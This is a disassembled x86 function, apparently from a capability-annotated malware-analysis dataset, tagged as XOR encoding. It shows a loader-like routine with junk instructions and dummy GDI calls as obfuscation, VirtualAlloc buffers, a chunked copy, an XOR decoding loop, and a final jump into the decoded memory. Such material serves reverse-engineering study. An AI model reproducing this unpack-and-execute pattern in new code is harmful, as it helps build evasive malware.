Function at 0x47e7a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
mov dword [ebp - 0x58], eax
mov dword [ebp - 4], esp
add dword [ebp - 4], 0x228
mov dword [ebp - 8], ebp
add dword [ebp - 8], 0x1dc
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
lea ecx, [0x481660]
mov eax, dword [ecx - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ecx - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x4c], 0x1001
mov dword [ebp - 0x50], 0x11e
push 0x47e9a8
push 0xa
mov ecx, dword [0x481660]
mov dl, 1
mov eax, dword [0x416754]
call fcn.0041b5a8
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x20a53c3
push 0
call sub.gdi32.dll_GetTextColor
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x47e81e
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], 0x7b
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
call fcn.0041aee0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x86
mov dword [ebp - 0x3c], 0xdc
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x54], 0x8a58a
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
call fcn.00406bac
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x40]
jae 0x47e918
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x38]
call fcn.00406ba4
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x44], eax
push 0
call sub.gdi32.dll_EndPath
add eax, dword [ebp - 0x3c]
add dword [ebp - 0x44], eax
jmp 0x47e8e1
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jae 0x47e966
push 0
call sub.gdi32.dll_EndPath
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add edx, dword [ebp - 0x18]
add eax, edx
mov edx, dword [ebp - 0x28]
mov dword [edx], eax
push 0
call sub.gdi32.dll_EndPath
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x18]
add eax, edx
mov edx, dword [ebp - 0x28]
xor dword [edx], eax
add dword [ebp - 0x18], 4
push 0
call sub.gdi32.dll_EndPath
add eax, 4
add dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jb 0x47e920
mov dword [ebp - 0x30], 0x5630
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
add dword [ebp - 0x14], 4
sub dword [ebp - 0x14], 0x1000
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [0x481660]
mov eax, 1
push eax
jmp dword [ebp - 0x14]